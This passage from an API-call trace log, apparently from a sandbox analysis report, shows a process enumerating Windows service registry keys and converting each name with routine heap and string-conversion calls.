dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.692] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.692] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.692] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.693] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.693] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.693] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.693] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.694] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.694] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.694] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.694] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0233.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.695] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.695] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.695] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0233.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.695] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.696] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.696] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.696] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0233.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.697] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.697] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 